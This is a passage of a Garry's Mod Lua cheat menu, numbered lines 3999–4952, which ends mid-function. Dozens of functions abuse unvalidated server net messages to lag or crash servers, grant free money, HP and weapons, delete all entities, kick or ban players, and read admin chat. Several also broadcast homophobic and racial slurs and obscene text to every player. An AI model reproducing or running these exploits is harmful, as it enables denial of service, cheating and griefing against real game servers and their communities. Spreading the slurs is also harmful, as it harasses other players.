3999status = ValidNetString("gPrinters.sendID")
4000if (status) then
4001ECPrint("Found Exploit: Lagger #21 [gPrinters.sendID]")
4002addExploit( "150","Lagger #21", "B1G LAGZ, discovered by Leith", function()
4003surface.PlaySound("garrysmod/ui_click.wav")
4004ECNotify("Starting")
4005if not timer.Exists("lagger21") then
4006timer.Create("lagger21", 0, 0, function()
4007for i = 1, 1000 do
4008net.Start("gPrinters.sendID",true)
4009net.WriteEntity(LocalPlayer())
4010net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 8)
4011net.SendToServer()
4012end
4013end )
4014end
4015end )
4016end
4017
4018status = ValidNetString("requestmoneyforvk") -- RusElite Server
4019if (status) then
4020ECPrint("Found Exploit: Free 50k [requestmoneyforvk]")
4021addExploit( "151","Free 50k", "gives you 50k bypassing the validation check, discovered by Leith", function()
4022surface.PlaySound("garrysmod/ui_click.wav")
4023ECNotify("Starting")
4024net.Start("requestmoneyforvk")
4025net.WriteEntity(LocalPlayer())
4026net.SendToServer()
4027end )
4028end
4029
4030status = ValidNetString("vj_testentity_runtextsd")
4031if (status) then
4032ECPrint("Found Exploit: VJSay [NEW] [vj_testentity_runtextsd]")
4033addExploit( "152","VJSay [NEW]", "'fix' of the old exploit", function()
4034surface.PlaySound("garrysmod/ui_click.wav")
4035ECNotify("Starting")
4036for k,v in pairs(player.GetAll()) do
4037net.Start("vj_testentity_runtextsd")
4038net.WriteEntity(v)
4039net.WriteString("OWNED OWNED OWNED OWNED OWNED OWNED OWNED OWNED ")
4040net.WriteString("vj_illuminati/Illuminati Confirmed.mp3")
4041net.SendToServer()
4042end
4043end )
4044end
4045
4046status = ValidNetString("NET_BailPlayer") -- need to test
4047if (status) then
4048ECPrint("Found Exploit: Players Spam [NET_BailPlayer]")
4049addExploit( "153","Players Spam", "", function()
4050surface.PlaySound("garrysmod/ui_click.wav")
4051ECNotify("Starting")
4052for k, v in pairs (player.GetAll()) do
4053net.Start("NET_BailPlayer")
4054net.WriteEntity(v)
4055net.WriteEntity(v)
4056net.SendToServer()
4057end
4058end )
4059end
4060
4061status = ValidNetString("Taxi_Add") -- need to test
4062if (status) then
4063ECPrint("Found Exploit: Free Money #21 [Taxi_Add]")
4064addExploit( "154","Free Money #21", "maybe not work", function()
4065surface.PlaySound("garrysmod/ui_click.wav")
4066ECNotify("Starting")
4067net.Start("Taxi_Add")
4068net.WriteString("MLG")
4069net.WriteTable({-1333.647461, -1473.931763, -139.968750})
4070net.WriteFloat(-99999999)
4071net.WriteString(Desc)
4072net.SendToServer()
4073end )
4074end
4075
4076status = ValidNetString("BuyCar")
4077if (status) then
4078ECPrint("Found Exploit: Free Money #22 [BuyCar]")
4079addExploit( "155","Free Money #22", "get money", function()
4080surface.PlaySound("garrysmod/ui_click.wav")
4081ECNotify("Starting")
4082net.Start('BuyCar')
4083net.WriteFloat(-1000000)
4084net.WriteEntity(LocalPlayer())
4085net.WriteString("Gay")
4086net.WriteString("Cock")
4087net.WriteString("Twat")
4088net.SendToServer()
4089end )
4090end
4091
4092status = ValidNetString("rpi_trade_end")
4093if (status) then
4094ECPrint("Found Exploit: Test Function [rpi_trade_end]")
4095addExploit( "156","Test Function", "just test", function()
4096surface.PlaySound("garrysmod/ui_click.wav")
4097ECNotify("Starting")
4098local it = 0
4099timer.Create( util.CRC( tostring( CurTime() ) ), 0.5, 0, function()
4100if( it > #player.GetAll() ) then
4101it = 1;
4102else
4103it = it + 1;
4104end
4105net.Start("rpi_trade_end")
4106net.WriteUInt( it, 16 )
4107net.SendToServer()
4108end )
4109end )
4110end
4111
4112status = ValidNetString("ClickerForceSave")
4113if (status) then
4114ECPrint("Found Exploit: Melon Crash [ClickerForceSave]")
4115addExploit( "157","Melon Crash", "", function()
4116surface.PlaySound("garrysmod/ui_click.wav")
4117ECNotify("Starting")
4118hook.Add("Think","ps_spam",function()
4119for k, v in pairs (player.GetAll()) do
4120net.Start("ClickerForceSave")
4121net.WriteEntity(ply)
4122net.WriteInt(1, 1)
4123net.SendToServer()
4124end
4125end )
4126end )
4127end
4128
4129status = ValidNetString("SRequest")
4130if (status) then
4131ECPrint("Found Exploit: Deagle Grab [SRequest]")
4132addExploit( "158","Deagle Grab", "", function()
4133surface.PlaySound("garrysmod/ui_click.wav")
4134ECNotify("Starting")
4135for k, v in pairs (player.GetAll()) do
4136net.Start("SRequest")
4137net.WriteEntity(v)
4138net.SendToServer()
4139end
4140end )
4141end
4142
4143status = ValidNetString("HealButton")
4144if (status) then
4145ECPrint("Found Exploit: Free HP [HealButton]")
4146addExploit( "159","Free HP", "free hp", function()
4147surface.PlaySound("garrysmod/ui_click.wav")
4148ECNotify("Starting")
4149net.Start("HealButton")
4150net.WriteEntity(LocalPlayer())
4151net.WriteFloat(999999)
4152net.SendToServer()
4153end )
4154end
4155
4156status = ValidNetString("ArmorButton")
4157if (status) then
4158ECPrint("Found Exploit: Free Armor [ArmorButton]")
4159addExploit( "160","Free Armor", "free armor", function()
4160surface.PlaySound("garrysmod/ui_click.wav")
4161ECNotify("Starting")
4162net.Start("ArmorButton")
4163net.WriteEntity(LocalPlayer())
4164net.WriteFloat(999999)
4165net.SendToServer()
4166end )
4167end
4168
4169status = ValidNetString("SprintSpeedset")
4170if (status) then
4171ECPrint("Found Exploit: TTT SpeedHack [SprintSpeedset]")
4172addExploit( "161","TTT SpeedHack", "changes your speed", function()
4173surface.PlaySound("garrysmod/ui_click.wav")
4174ECNotify("Starting")
4175net.Start("SprintSpeedset")
4176net.WriteFloat(math.min(math.max(2, 0.1),2 ))
4177net.SendToServer()
4178end )
4179end
4180
4181status = ValidNetString("GiveArmor100")
4182if (status) then
4183ECPrint("Found Exploit: Armor Exploit [GiveArmor100]")
4184addExploit( "162","Armor Exploit", "", function()
4185surface.PlaySound("garrysmod/ui_click.wav")
4186ECNotify("Starting")
4187net.Start("GiveArmor100")
4188net.SendToServer()
4189end )
4190end
4191
4192status = ValidNetString("GiveSCP294Cup") -- NEED TO TEST !!
4193if (status) then
4194ECPrint("Found Exploit: 294 JAM [NEED TO TEST] [GiveSCP294Cup]")
4195SCPLAG = 0
4196addExploit( "163","SCP 249 JAM!", "", function()
4197surface.PlaySound("garrysmod/ui_click.wav")
4198ECNotify("Starting")
4199if (SCPLAG == 0) then
4200SCPLAG = 1
4201timer.Create( "LagThatShit", time, 0.05, function()
4202for k, v in pairs( ents.GetAll() ) do
4203if v:GetClass() == "scp294" then
4204net.Start("GiveSCP294Cup")
4205net.WriteString("shit")
4206net.WriteEntity(v)
4207net.SendToServer()
4208end
4209end
4210end)
4211else
4212SCPLAG = 0
4213timer.Remove("LagThatShit")
4214end
4215end)
4216end
4217
4218status = ValidNetString("Client_To_Server_OpenEditor")
4219if (status) then
4220ECPrint("Found Exploit: SCP 249 Drink Menu Hack [Client_To_Server_OpenEditor]")
4221addExploit( "164","SCP 249 Drink Menu Hack", "", function()
4222surface.PlaySound("garrysmod/ui_click.wav")
4223ECNotify("Starting")
4224net.Start("Client_To_Server_OpenEditor")
4225net.SendToServer()
4226end )
4227end
4228
4229status = ValidNetString("DuelMessageReturn")
4230if (status) then
4231ECPrint("Found Exploit: Duel Crazy [DuelMessageReturn]")
4232addExploit( "165","Duel Crazy", "forces all players to fight with all players, discovered by Solly", function()
4233surface.PlaySound("garrysmod/ui_click.wav")
4234ECNotify("Starting")
4235timer.Create("crazyduel", 0.1, 0, function()
4236s.duel[1] = table.Random( player.GetAll() )
4237s.duel[2] = table.Random( player.GetAll() )
4238net.Start("DuelMessageReturn")
4239net.WriteFloat(1)
4240net.WriteTable(s.duel)
4241net.SendToServer()
4242end )
4243end )
4244end
4245
4246status = ValidNetString("userAcceptPrestige")
4247if (status) then
4248ECPrint("Found Exploit: Free Prestige [userAcceptPrestige]")
4249addExploit( "166","Free Prestige", "exploit for free prestige", function()
4250surface.PlaySound("garrysmod/ui_click.wav")
4251ECNotify("Starting")
4252net.Start("userAcceptPrestige")
4253net.SendToServer()
4254end )
4255end
4256
4257status = ValidNetString("wordenns")
4258if (status) then
4259ECPrint("Found Exploit: Steal All Monies #11 [wordenns]")
4260addExploit( "167","Steal All Monies #11", "withdraw money from all printers", function()
4261surface.PlaySound("garrysmod/ui_click.wav")
4262ECNotify("Starting")
4263ECPrint("printers:".. tostring(#ents.FindByClass("derma_printer")))
4264for k,v in pairs(ents.FindByClass("derma_printer")) do
4265net.Start("wordenns")
4266net.WriteEntity(v)
4267net.SendToServer()
4268end
4269end)
4270end
4271
4272status = ValidNetString("guncraft_removeWorkbench")
4273if (status) then
4274ECPrint("Found Exploit: Remove all Entity [guncraft_removeWorkbench]")
4275addExploit( "168","Remove all Entity", "an exploit in addon 'GunCraft'", function()
4276surface.PlaySound("garrysmod/ui_click.wav")
4277ECNotify("Starting")
4278if !timer.Exists( "removentity" ) then
4279timer.Create("removentity", 3, 0, function()
4280for k,v in pairs(ents.GetAll()) do
4281net.Start("guncraft_removeWorkbench")
4282net.WriteEntity(v)
4283net.SendToServer()
4284end
4285end )
4286end
4287end )
4288end
4289
4290status = ValidNetString("BuyKey")
4291if (status) then
4292ECPrint("Found Exploit: Blue Unbox Exploit [NEED TO TEST]")
4293addExploit( "169","Blue Unbox Exploit", "", function()
4294surface.PlaySound("garrysmod/ui_click.wav")
4295ECNotify("Starting")
4296net.Start("BuyKey")
4297net.SendToServer()
4298net.Start("BuyCrate")
4299net.SendToServer()
4300end )
4301end
4302
4303status = ValidNetString("casinokit_chipexchange")
4304if (status) then
4305ECPrint("Found Exploit: Free Money #23 [casinokit_chipexchange]")
4306addExploit( "170","Free Money #23", "only works if outdated", function()
4307surface.PlaySound("garrysmod/ui_click.wav")
4308ECNotify("Starting")
4309local moneylog = LocalPlayer():getDarkRPVar("money")
4310net.Start("casinokit_chipexchange")
4311net.WriteEntity(self)
4312net.WriteString("darkrp")
4313net.WriteBool(true)
4314net.WriteUInt(LocalPlayer():getDarkRPVar("money"),32)
4315net.SendToServer()
4316timer.Simple(3, function()
4317for i=1, 5000 do
4318net.Start("casinokit_chipexchange")
4319net.WriteEntity(self)
4320net.WriteString("darkrp")
4321net.WriteBool(false)
4322net.WriteUInt(moneylog*0.10,32)
4323net.SendToServer()
4324end
4325end)
4326end )
4327end
4328
4329status = ValidNetString("PurchaseWeed")
4330if (status) then
4331ECPrint("Found Exploit: Buy Weed [PurchaseWeed]")
4332addExploit( "171","Buy Weed", "", function()
4333surface.PlaySound("garrysmod/ui_click.wav")
4334ECNotify("Starting")
4335net.Start("PurchaseWeed")
4336net.WriteInt(tonumber(10000),16)
4337net.WriteInt(tonumber(1),16)
4338net.WriteBool(LocalPlayer().Buying)
4339net.SendToServer()
4340end )
4341end
4342
4343status = ValidNetString("PurchaseWeed")
4344if (status) then
4345ECPrint("Found Exploit: Sell Weed [PurchaseWeed]")
4346addExploit( "172","Sell Weed", "", function()
4347surface.PlaySound("garrysmod/ui_click.wav")
4348ECNotify("Starting")
4349net.Start("PurchaseWeed")
4350net.WriteInt(tonumber(100),16)
4351net.WriteInt(tonumber(100),16)
4352net.WriteBool(LocalPlayer().Selling)
4353net.SendToServer()
4354end )
4355end
4356
4357status = ValidNetString("DoDealerDeliver")
4358if (status) then
4359ECPrint("Found Exploit: Buy Tab [DoDealerDeliver]")
4360addExploit( "173","Buy Tab", "", function()
4361surface.PlaySound("garrysmod/ui_click.wav")
4362ECNotify("Starting")
4363if(LocalPlayer():getDarkRPVar("money")>=WEED_CONFIG.TabletPrice) then
4364net.Start("DoDealerDeliver")
4365net.WriteBool(false)
4366net.SendToServer()
4367end
4368end )
4369end
4370
4371status = ValidNetString("DoDealerDeliver")
4372if (status) then
4373ECPrint("Found Exploit: Buy Bong [DoDealerDeliver]")
4374addExploit( "174","Buy Bong", "", function()
4375surface.PlaySound("garrysmod/ui_click.wav")
4376ECNotify("Starting")
4377if(LocalPlayer():getDarkRPVar("money")>=WEED_ITEMS.Items["Tools"]["bong"].price) then
4378net.Start("DoDealerDeliver")
4379net.WriteBool(true)
4380net.SendToServer()
4381end
4382end )
4383end
4384
4385status = ValidNetString("sendDuelInfo")
4386if (status) then
4387ECPrint("Found Exploit: Duel NPC Exploit [sendDuelInfo]")
4388addExploit( "175","Duel NPC Exploit", "", function()
4389surface.PlaySound("garrysmod/ui_click.wav")
4390ECNotify("Starting")
4391net.Start("sendDuelInfo")
4392net.WriteString(table.Random(player.GetAll()):Nick())
4393net.WriteString("xxdddd")
4394net.WriteString("1e+100")
4395net.WriteEntity(table.random(player.GetAll()):UserID())
4396net.WriteInt(3,3)
4397net.SendToServer()
4398end )
4399end
4400
4401status = ValidNetString("InviteMember")
4402if (status) then
4403ECPrint("Found Exploit: Invite all players [InviteMember]")
4404addExploit( "176","Invite all players", "Invite all players to your org", function()
4405surface.PlaySound("garrysmod/ui_click.wav")
4406ECNotify("Starting")
4407for k,v in pairs(player.GetAll()) do
4408net.Start("InviteMember")
4409net.WriteEntity(v)
4410net.WriteEntity(v)
4411net.WriteString("lol what")
4412net.SendToServer()
4413end
4414end )
4415end
4416
4417status = ValidNetString("newTerritory")
4418if (status) then
4419ECPrint("Found Exploit: New Territory [newTerritory]")
4420addExploit( "177","New Territory", "", function()
4421surface.PlaySound("garrysmod/ui_click.wav")
4422ECNotify("Starting")
4423for k,v in pairs(player.GetAll()) do
4424net.Start("newTerritory")
4425net.WriteString("Hackers")
4426net.WriteTable(t)
4427net.SendToServer()
4428end
4429end )
4430end
4431
4432status = ValidNetString("CreateOrganization")
4433if (status) then
4434ECPrint("Found Exploit: Org Exploit [CreateOrganization]")
4435addExploit( "178","Org Exploit", "", function()
4436surface.PlaySound("garrysmod/ui_click.wav")
4437ECNotify("Starting")
4438for k,v in pairs(player.GetAll()) do
4439net.Start("CreateOrganization")
4440net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
4441net.WriteString( "Join my gang or will rekt u" )
4442net.SendToServer()
4443end
4444end )
4445end
4446
4447status = ValidNetString("DisbandOrganization")
4448if (status) then
4449ECPrint("Found Exploit: Org Disband [DisbandOrganization]")
4450addExploit( "179","Org Disband", "", function()
4451surface.PlaySound("garrysmod/ui_click.wav")
4452ECNotify("Starting")
4453net.Start("DisbandOrganization")
4454net.WriteEntity(LocalPlayer())
4455net.SendToServer()
4456end )
4457end
4458
4459status = ValidNetString("ChangeOrgName")
4460if (status) then
4461ECPrint("Found Exploit: Org Change Name [ChangeOrgName]")
4462addExploit( "180","Org Change Name", "", function()
4463surface.PlaySound("garrysmod/ui_click.wav")
4464ECNotify("Starting")
4465net.Start("ChangeOrgName")
4466net.WriteString("I LOVE BANNAS WOOOOOOOOO I FUCKED GIANT BABIES WOOOOOO")
4467net.WriteString("SHITTY CUNT ASS SERVER FUCK OFF. STOP WITH YOUR SHITTY COPY AND PASTE SHIT! YOU STOLE MY SHIT NIGGER!")
4468net.WriteEntity(LocalPlayer())
4469net.SendToServer()
4470end )
4471end
4472
4473status = ValidNetString("IS_SubmitSID_C2S")
4474if (status) then
4475ECPrint("Found Exploit: Free Reward [IS_SubmitSID_C2S | IS_GetReward_C2S]")
4476addExploit( "181","Free Reward", "", function()
4477surface.PlaySound("garrysmod/ui_click.wav")
4478ECNotify("Starting")
4479net.Start("IS_SubmitSID_C2S")
4480net.WriteString("Killa")
4481net.SendToServer()
4482net.Start("IS_GetReward_C2S")
4483net.SendToServer()
4484end )
4485end
4486
4487status = ValidNetString("AcceptBailOffer")
4488if (status) then
4489ECPrint("Found Exploit: Bail Offer Exploit [AcceptBailOffer]")
4490addExploit( "182","Bail Offer Exploit", "", function()
4491surface.PlaySound("garrysmod/ui_click.wav")
4492ECNotify("Starting")
4493for k,v in pairs(player.GetAll()) do
4494net.Start("AcceptBailOffer")
4495net.WriteEntity(v)
4496net.WriteUInt(-100000000000000000, 16 )
4497net.SendToServer()
4498end
4499end )
4500end
4501
4502status = ValidNetString("CP_Test_Results")
4503if (status) then
4504ECPrint("Found Exploit: CP Bypass [CP_Test_Results]")
4505addExploit( "183","CP Bypass", "", function()
4506surface.PlaySound("garrysmod/ui_click.wav")
4507ECNotify("Starting")
4508net.Start("CP_Test_Results")
4509net.WriteInt(1 ,8)
4510net.SendToServer()
4511end )
4512end
4513
4514status = ValidNetString("ReSpawn")
4515if (status) then
4516ECPrint("Found Exploit: Respawn #4 [ReSpawn]")
4517addExploit( "184","Respawn #4", "just respawn", function()
4518surface.PlaySound("garrysmod/ui_click.wav")
4519ECNotify("Starting")
4520net.Start("ReSpawn")
4521net.SendToServer()
4522end )
4523end
4524
4525status = ValidNetString("FIGHTCLUB_KickPlayer")
4526if (status) then
4527ECPrint("Found Exploit: Fight Club Kick [FIGHTCLUB_KickPlayer]")
4528addExploit( "185","Fight Club Kick", "", function()
4529surface.PlaySound("garrysmod/ui_click.wav")
4530ECNotify("Starting")
4531for k,v in pairs(player.GetAll()) do
4532net.Start("FIGHTCLUB_KickPlayer")
4533net.WriteBit(v)
4534net.WriteEntity(v)
4535net.SendToServer()
4536end
4537end )
4538end
4539
4540status = ValidNetString("FIGHTCLUB_StartFight")
4541if (status) then
4542ECPrint("Found Exploit: Fight Club Start Fight [FIGHTCLUB_StartFight]")
4543addExploit( "186","Fight Club Start Fight", "", function()
4544surface.PlaySound("garrysmod/ui_click.wav")
4545ECNotify("Starting")
4546for k,v in pairs(player.GetAll()) do
4547net.Start("FIGHTCLUB_StartFight")
4548net.WriteEntity(v)
4549net.SendToServer()
4550end
4551end )
4552end
4553
4554status = ValidNetString("IveBeenRDMed")
4555if (status) then
4556ECPrint("Found Exploit: Fake RDM [IveBeenRDMed]")
4557addExploit( "187","Fake RDM", "", function()
4558surface.PlaySound("garrysmod/ui_click.wav")
4559ECNotify("Starting")
4560for k,v in pairs(player.GetAll()) do
4561net.Start("IveBeenRDMed")
4562net.WriteEntity(v)
4563net.SendToServer()
4564end
4565end )
4566end
4567
4568status = ValidNetString("nCTieUpStart")
4569if (status) then
4570ECPrint("Found Exploit: Combine Control Exploit [nCTieUpStart]")
4571addExploit( "188","Combine Control Exploit", "", function()
4572surface.PlaySound("garrysmod/ui_click.wav")
4573ECNotify("Starting")
4574for k,v in pairs(ents.GetAll()) do
4575net.Start("nCTieUpStart")
4576net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
4577net.SendToServer()
4578end
4579end )
4580end
4581
4582status = ValidNetString("DestroyTable")
4583if (status) then
4584ECPrint("Found Exploit: Fuck All [DestroyTable]")
4585addExploit( "189","Fuck All", "discovered by Leith", function()
4586surface.PlaySound("garrysmod/ui_click.wav")
4587ECNotify("Starting")
4588for k,v in pairs(ents.GetAll()) do
4589net.Start("DestroyTable")
4590net.WriteEntity(v)
4591net.SendToServer()
4592end
4593end )
4594end
4595
4596status = ValidNetString("start_wd_hack")
4597if (status) then
4598ECPrint("Found Exploit: Hack Phone Exploit [start_wd_hack]")
4599addExploit( "190","Hack Phone Exploit", "", function()
4600surface.PlaySound("garrysmod/ui_click.wav")
4601ECNotify("Starting")
4602net.Start("start_wd_hack")
4603net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
4604net.SendToServer()
4605end )
4606end
4607
4608status = ValidNetString("bringNfreeze")
4609if (status) then
4610ECPrint("Found Exploit: Ban Exploit [bringNfreeze]")
4611addExploit( "191","Ban Exploit", "", function()
4612surface.PlaySound("garrysmod/ui_click.wav")
4613ECNotify("Starting")
4614for k,v in pairs(player.GetAll()) do
4615net.Start('bringNfreeze')
4616net.WriteEntity(self)
4617net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
4618net.SendToServer()
4619end
4620end )
4621end
4622
4623status = ValidNetString("JoinFirstSS")
4624if (status) then
4625ECPrint("Found Exploit: Join First SS [JoinFirstSS]")
4626addExploit( "192","Join First SS", "", function()
4627surface.PlaySound("garrysmod/ui_click.wav")
4628ECNotify("Starting")
4629net.Start("JoinFirstSS")
4630net.WriteEntity(LocalPlayer())
4631net.SendToServer()
4632end )
4633end
4634
4635status = ValidNetString("unarrestPerson")
4636if (status) then
4637ECPrint("Found Exploit: Unarrest Person [unarrestPerson]")
4638addExploit( "193","Unarrest Person", "", function()
4639surface.PlaySound("garrysmod/ui_click.wav")
4640ECNotify("Starting")
4641for k,v in pairs(player.GetAll()) do
4642net.Start("unarrestPerson")
4643net.WriteEntity(v)
4644net.SendToServer()
4645end
4646end )
4647end
4648
4649status = ValidNetString("giveArrestReason")
4650if (status) then
4651ECPrint("Found Exploit: Give Arrest Reason [giveArrestReason]")
4652addExploit( "194","Give Arrest Reason", "", function()
4653surface.PlaySound("garrysmod/ui_click.wav")
4654ECNotify("Starting")
4655for k,v in pairs(player.GetAll()) do
4656net.Start("giveArrestReason")
4657net.WriteEntity(LocalPlayer())
4658net.WriteEntity(v)
4659net.WriteString("Faggot")
4660net.SendToServer()
4661end
4662end )
4663end
4664
4665status = ValidNetString("sellitem")
4666if (status) then
4667ECPrint("Found Exploit: Free Money #24 [sellitem]")
4668addExploit( "195","Free Money #24", "", function()
4669surface.PlaySound("garrysmod/ui_click.wav")
4670ECNotify("Starting")
4671net.Start("sellitem")
4672net.WriteString(self)
4673net.WriteEntity(LocalPlayer())
4674net.SendToServer()
4675end )
4676end
4677
4678status = ValidNetString("createFaction")
4679if (status) then
4680ECPrint("Found Exploit: Create Faction [createFaction]")
4681addExploit( "196","Create Faction", "", function()
4682surface.PlaySound("garrysmod/ui_click.wav")
4683ECNotify("Starting")
4684for k,v in pairs(player.GetAll()) do
4685net.Start("createFaction")
4686net.WriteEntity(v)
4687net.WriteString("I FUCKED SO MANY BABIES TODAY WOOOOOOOOOOOOOOOOOOOOOOOO")
4688net.SendToServer()
4689end
4690end )
4691end
4692
4693status = ValidNetString("inviteToOrganization")
4694if (status) then
4695ECPrint("Found Exploit: Faction Invite All [inviteToOrganization]")
4696addExploit( "197","Faction Invite All", "", function()
4697surface.PlaySound("garrysmod/ui_click.wav")
4698ECNotify("Starting")
4699for k,v in pairs(player.GetAll()) do
4700net.Start("inviteToOrganization")
4701net.WriteEntity(v)
4702net.WriteEntity(LocalPlayer())
4703net.SendToServer()
4704end
4705end )
4706end
4707
4708status = ValidNetString("GovStation_SpawnVehicle")
4709if (status) then
4710ECPrint("Found Exploit: Gov Spawn [GovStation_SpawnVehicle]")
4711addExploit( "198","Gov Spawn", "", function()
4712surface.PlaySound("garrysmod/ui_click.wav")
4713ECNotify("Starting")
4714for k,v in pairs(ents.GetAll()) do
4715net.Start("GovStation_SpawnVehicle")
4716net.WriteString("GOV_POLICE")
4717net.SendToServer()
4718end
4719end )
4720end
4721
4722status = ValidNetString("GiveWeapon")
4723if (status) then
4724ECPrint("Found Exploit: Give Weapons #3 [GiveWeapon]")
4725addExploit( "199","Give Weapons #3", "get weapons", function()
4726surface.PlaySound("garrysmod/ui_click.wav")
4727ECNotify("Starting")
4728net.Start("GiveWeapon")
4729net.WriteEntity(LocalPlayer())
4730net.WriteString("m9k_davy_crockett")
4731net.WriteFloat(0)
4732net.SendToServer()
4733end )
4734end
4735
4736status = ValidNetString("DailyLoginClaim")
4737if (status) then
4738ECPrint("Found Exploit: Daily Login Reward [DailyLoginClaim]")
4739addExploit( "200","Daily Login Reward", "", function()
4740surface.PlaySound("garrysmod/ui_click.wav")
4741ECNotify("Starting")
4742net.Start("DailyLoginClaim")
4743net.SendToServer()
4744end )
4745end
4746
4747status = ValidNetString("DL_AskLogsList")
4748if (status) then
4749ECPrint("Found Exploit: Ask Log List [DL_AskLogsList]")
4750addExploit( "201","Ask Log List", "", function()
4751surface.PlaySound("garrysmod/ui_click.wav")
4752ECNotify("Starting")
4753net.Start("DL_AskLogsList")
4754net.SendToServer()
4755end )
4756end
4757
4758status = ValidNetString("DL_StartReport")
4759if (status) then
4760ECPrint("Found Exploit: DL Report All [DL_StartReport | DL_ReportPlayer]")
4761addExploit( "202","DL Report All", "", function()
4762surface.PlaySound("garrysmod/ui_click.wav")
4763ECNotify("Starting")
4764for k,v in pairs(player.GetAll()) do
4765net.Start("DL_StartReport")
4766net.SendToServer()
4767net.Start("DL_ReportPlayer")
4768net.WriteEntity(v)
4769net.WriteString("Hes being a gay faggot plz ban him")
4770net.SendToServer()
4771end
4772end )
4773end
4774
4775status = ValidNetString("sv_saveweapons")
4776if (status) then
4777ECPrint("Found Exploit: TTT Weapons Exploit [sv_saveweapons]")
4778addExploit( "203","DL Report All", "", function()
4779surface.PlaySound("garrysmod/ui_click.wav")
4780ECNotify("Starting")
4781net.Start("sv_saveweapons")
4782net.WriteString("weapon_ttt_rpg")
4783net.WriteString("weapon_ttt_rpg")
4784net.WriteString("eg")
4785net.SendToServer()
4786end )
4787end
4788
4789status = ValidNetString("SpecDM_SendLoadout")
4790if (status) then
4791ECPrint("Found Exploit: SpecDM Exploit [SpecDM_SendLoadout]")
4792addExploit( "204","SpecDM Exploit", "", function()
4793surface.PlaySound("garrysmod/ui_click.wav")
4794ECNotify("Starting")
4795net.Start("SpecDM_SendLoadout")
4796net.WriteString("eg")
4797net.WriteString("weapon_ttt_defib")
4798net.SendToServer()
4799end )
4800end
4801
4802status = ValidNetString("PowerRoundsForcePR")
4803if (status) then
4804ECPrint("Found Exploit: Power Rounds Force [PowerRoundsForcePR]")
4805addExploit( "205","Power Rounds Force", "", function()
4806surface.PlaySound("garrysmod/ui_click.wav")
4807ECNotify("Starting")
4808net.Start("PowerRoundsForcePR")
4809net.SendToServer()
4810end )
4811end
4812
4813status = ValidNetString("wyozimc_playply")
4814if (status) then
4815ECPrint("Found Exploit: Wyozimc Music Exploit [wyozimc_playply]")
4816addExploit( "206","Wyozimc Music Exploit", "", function()
4817surface.PlaySound("garrysmod/ui_click.wav")
4818ECNotify("Starting")
4819for k,v in pairs(player.GetAll()) do
4820net.Start("wyozimc_playply")
4821net.WriteEntity(v)
4822net.WriteString("https://www.youtube.com/watch?v=2fSeiKs6MYY")
4823net.SendToServer()
4824end
4825end )
4826end
4827
4828status = ValidNetString("SendSteamID")
4829if (status) then
4830ECPrint("Found Exploit: Send Mail's [SendSteamID]")
4831addExploit( "207","Send Mail's", "", function()
4832surface.PlaySound("garrysmod/ui_click.wav")
4833ECNotify("Starting")
4834for k,v in pairs(player.GetAll()) do
4835net.Start("SendSteamID")
4836net.WriteEntity(v)
4837net.WriteString("Faggot")
4838net.WriteString("Faggot")
4839net.SendToServer()
4840end
4841end )
4842end
4843
4844status = ValidNetString("JB_GiveCubics")
4845if (status) then
4846ECPrint("Found Exploit: Give Cubics All [JB_GiveCubics]")
4847addExploit( "208","Give Cubics All", "", function()
4848surface.PlaySound("garrysmod/ui_click.wav")
4849ECNotify("Starting")
4850for k,v in pairs(player.GetAll()) do
4851net.Start("JB_GiveCubics")
4852net.WriteEntity(v)
4853net.WriteInt(math.floor(dwang:GetValue()), 255)
4854net.SendToServer()
4855end
4856end )
4857end
4858
4859status = ValidNetString("JB_SelectWarden")
4860if (status) then
4861ECPrint("Found Exploit: Select Warden All [JB_SelectWarden]")
4862addExploit( "209","Select Warden All", "", function()
4863surface.PlaySound("garrysmod/ui_click.wav")
4864ECNotify("Starting")
4865for k,v in pairs(player.GetAll()) do
4866net.Start("JB_SelectWarden")
4867net.WriteEntity(v)
4868net.SendToServer()
4869end
4870end )
4871end
4872
4873status = ValidNetString("RDMReason_Explain")
4874if (status) then
4875ECPrint("Found Exploit: RDM Explain [RDMReason_Explain]")
4876addExploit( "210","RDM Explain", "", function()
4877surface.PlaySound("garrysmod/ui_click.wav")
4878ECNotify("Starting")
4879for k,v in pairs(player.GetAll()) do
4880net.Start("RDMReason_Explain")
4881net.WriteTable({id=v, reason=fgt})
4882net.SendToServer()
4883end
4884end )
4885end
4886
4887status = ValidNetString("redirectMsg")
4888if (status) then
4889ECPrint("Found Exploit: Redirect Message [redirectMsg]")
4890addExploit( "211","Redirect Message", "", function()
4891surface.PlaySound("garrysmod/ui_click.wav")
4892ECNotify("Starting")
4893net.Start("redirectMsg")
4894net.WriteString("Fuck you! YOUR ALL FAGGOTS!")
4895net.SendToServer()
4896end )
4897end
4898
4899status = ValidNetString("LB_AddBan")
4900if (status) then
4901ECPrint("Found Exploit: LB Ban [LB_AddBan]")
4902addExploit( "212","LB Ban", "", function()
4903surface.PlaySound("garrysmod/ui_click.wav")
4904ECNotify("Starting")
4905for k,v in pairs(player.GetAll()) do
4906if v != LocalPlayer() then
4907net.Start("LB_AddBan")
4908net.WriteString("STEAM_0:0:71238382")
4909net.WriteString("fgt")
4910net.SendToServer()
4911end
4912end
4913end )
4914end
4915
4916status = ValidNetString("GET_Admin_MSGS")
4917if (status) then
4918ECPrint("Found Exploit: Brass Admin Chat [GET_Admin_MSGS | OPEN_ADMIN_CHAT]")
4919addExploit( "213","Brass Admin Chat", "", function()
4920surface.PlaySound("garrysmod/ui_click.wav")
4921ECNotify("Starting")
4922net.Start("GET_Admin_MSGS")
4923net.SendToServer()
4924net.Start("OPEN_ADMIN_CHAT")
4925net.SendToServer()
4926end )
4927end
4928
4929status = ValidNetString("br_send_pm")
4930if (status) then
4931ECPrint("Found Exploit: Brass Email Send All [br_send_pm]")
4932addExploit( "214","Brass Email Send All", "", function()
4933surface.PlaySound("garrysmod/ui_click.wav")
4934ECNotify("Starting")
4935for k,v in pairs(player.GetAll()) do
4936if v != LocalPlayer() then
4937net.Start("br_send_pm")
4938net.WriteString(v)
4939net.WriteString("FGT")
4940net.WriteEntity(v)
4941net.SendToServer()
4942end
4943end
4944end )
4945end
4946
4947status = ValidNetString("LAWYER.BailFelonOut")
4948if (status) then
4949ECPrint("Found Exploit: Bail Felon Out [LAWYER.BailFelonOut]")
4950addExploit( "215","Bail Felon Out", "", function()
4951surface.PlaySound("garrysmod/ui_click.wav")
4952ECNotify("Starting")
